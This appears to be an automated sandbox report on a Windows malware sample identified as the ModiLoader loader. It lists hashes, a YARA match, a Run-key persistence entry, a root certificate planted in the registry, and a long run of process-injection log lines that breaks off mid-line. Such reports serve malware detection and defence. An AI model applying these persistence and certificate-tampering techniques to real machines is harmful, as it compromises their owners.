Analysis
- max time kernel
138s - max time network
150s - platform
windows7_x64 - resource
win7 - submitted
16/10/2020, 10:24
Static task
static1
Behavioral task
behavioral1
Sample
Tgdzbcw_Signed_.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Tgdzbcw_Signed_.exe
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
- Target Tgdzbcw_Signed_.exe
- Size 1.0MB
- Sample201016-paze14b49s
- SHA256 cb8095a08ad64a6811cfb011db6f7bc97f21e459ca65382251bec95cfd1d9529
- MD5 afdf2f3253c6d08b717e7b9e99033e11
- SHA1 d2c744bc486d13d8a7f4fcf86109e864ad19e0f7
- SHA512 6432c15e10c6eeca962557abdb190af8435949b8824c972bf0d0adaadc39acc4e76faf63ca728cad412b9104712f60a04a71a9f6a3eb252701f7fe5f4060f7bd
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- ModiLoader Second Stage 1 IoCs
resource yara_rule behavioral1/memory/1044-1-0x0000000004720000-0x0000000004775000-memory.dmp modiloader_stage2 - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\Tgdz = "C:\\Users\\Admin\\AppData\\Local\\zdgT.url" Tgdzbcw_Signed_.exe - Modifies registry key 1 TTPs 3 IoCs
pid Process 2464 reg.exe 2372 reg.exe 2384 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Tgdzbcw_Signed_.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tgdzbcw_Signed_.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tgdzbcw_Signed_.exe - Suspicious use of WriteProcessMemory 790 IoCs
description pid Process procid_target PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 Tgdzbcw_Signed_.exe 30 PID 1044 wrote to memory of 2008 1044 